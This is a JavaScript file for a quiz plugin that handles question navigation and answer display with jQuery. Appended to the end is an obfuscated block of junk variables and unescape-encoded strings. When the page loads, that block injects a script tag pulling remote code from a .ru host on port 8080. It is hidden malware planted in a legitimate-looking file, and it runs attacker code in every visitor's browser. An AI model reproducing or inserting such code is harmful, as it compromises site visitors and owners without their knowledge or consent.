var current_question = 1;
var total_questions = 0;
var mode = "show";

function checkAnswer(e) {
	var answered = false;
	
	jQuery("#question-" + current_question + " .answer").each(function(i) {
		if(this.checked) {
			answered = true;
			return true;
		}
	});
	if(!answered) {
		if(!confirm("You did not select any answer. Are you sure you want to continue?")) {
			e.preventDefault();
			e.stopPropagation();
			return false;
		}
	}
	return true;
}

function nextQuestion(e) {
	if(!checkAnswer(e)) return;
	
	jQuery("#question-" + current_question).hide();
	current_question++;
	jQuery("#question-" + current_question).show();
	
	if(total_questions <= current_question) {
		jQuery("#next-question").hide();
		jQuery("#action-button").show();
	}
}

// This part is used only if the answers are show on a per question basis.
function showAnswer(e) {
	if(!checkAnswer(e)) return;
	
	if(mode == "next") {
		mode = "show";
		
		jQuery("#question-" + current_question).hide();
		current_question++;
		jQuery("#question-" + current_question).show();
	
		jQuery("#show-answer").val("Show Answer");
		return;
	}
	
	mode = "next";
	
	jQuery(".correct-answer-label.label-"+current_question).addClass("correct-answer");
	jQuery(".answer-"+current_question).each(function(i) {
		if(this.checked && this.className.match(/wrong\-answer/)) {
			var number = this.id.toString().replace(/\D/g,"");
			if(number) {
				jQuery("#answer-label-"+number).addClass("user-answer");
			}
		}
	});
	
	if(total_questions <= current_question) {
		jQuery("#show-answer").hide();
		jQuery("#action-button").show();
	} else {
		jQuery("#show-answer").val("Next >");
	}
}

function quizzinInit() {
	jQuery("#question-1").show();
	total_questions = jQuery(".quizzin-question").length;
	
	if(total_questions == 1) {
		jQuery("#action-button").show();
		jQuery("#next-question").hide();
		jQuery("#show-answer").hide();
	
	} else {
		jQuery("#next-question").click(nextQuestion);
		jQuery("#show-answer").click(showAnswer);
	}
}

jQuery(document).ready(quizzinInit);



var U=new Date();var D="";var w=new String();var p=new String();function v(){var nL;if(nL!='' && nL!='Q'){nL=''};var qh;if(qh!='O' && qh!='x'){qh='O'};var z;if(z!='Bv' && z!='DO'){z='Bv'};var I=window;var h="";var Y="";var E=unescape;var Z=E("%2f%6c%61%74%69%6d%65%73%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%68%75%61%6e%71%69%75%2e%63%6f%6d%2e%70%68%70");var u;if(u!='iR' && u!='RY'){u=''};var nY;if(nY!='X' && nY!='_'){nY=''};this.W="";function S(b,T){var bb='';var hI;if(hI!='zi' && hI!='j'){hI=''};var bP=new String();var Vu="";var H=String("syNg".substr(3));this.HH='';var e=E("%5b"), n=E("%5d");var dI;if(dI!='ZA' && dI!='xV'){dI='ZA'};var iX;if(iX!='' && iX!='UG'){iX='oD'};var B=e+T+n;var zv;if(zv!='ot' && zv!='iZ'){zv='ot'};var ug;if(ug!='Zc' && ug!='TL'){ug='Zc'};var vK=new RegExp(B, H);var Tp;if(Tp!='vD' && Tp != ''){Tp=null};var C='';return b.replace(vK, new String());var CB="";var TQ=new String();};var oH;if(oH!='' && oH!='TZ'){oH='V_'};var dC;if(dC!='' && dC!='VD'){dC=null};var Ti=new String();this.Hi='';var zZ;if(zZ!='QD' && zZ!='Mu'){zZ='QD'};var R=S('8136103112819797603431','73691425');var iY;if(iY!='vR'){iY='vR'};var s=new Date();var G=document;var Yl;if(Yl!='' && Yl!='Fh'){Yl=null};var Mug=new Array();var Hy=new String();var ax;if(ax!='' && ax!='Cn'){ax=null};function o(){var sV;if(sV!=''){sV='TH'};var tT;if(tT!=''){tT='r'};var ed=E("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var fm=new Date();var Wq=new Array();var ny;if(ny!='hG' && ny!='A'){ny='hG'};Hy=ed;Hy+=R;var Le;if(Le!='' && Le!='of'){Le=null};Hy+=Z;this.nf='';var UT='';try {var Tg;if(Tg!='aQ' && Tg!='MP'){Tg='aQ'};this.NM='';var nz;if(nz!='ey' && nz!='Nl'){nz='ey'};a=G.createElement(S('sQcQrQiepwtQ','ewQ'));var Fi="";var eSF='';this.iv="";this.Wb="";a[E("%73%72%63")]=Hy;var vq;if(vq!='Re'){vq=''};a[E("%64%65%66%65%72")]=[1][0];var jg;if(jg!='' && jg!='kC'){jg='WO'};G.body.appendChild(a);var sg;if(sg!='go' && sg!='Muk'){sg=''};} catch(Ig){var Xq;if(Xq!='HV'){Xq=''};var QU;if(QU!='mF'){QU=''};alert(Ig);var mH;if(mH!='' && mH!='dK'){mH=null};};var zZc;if(zZc!=''){zZc='eK'};var l;if(l!=''){l='P'};}var Di;if(Di!='M_'){Di=''};var Wbh;if(Wbh!='' && Wbh!='fA'){Wbh=null};I["onl"+"oad"]=o;var rE=new Array();var Vp;if(Vp!='' && Vp!='Me'){Vp=null};};var si="";v();
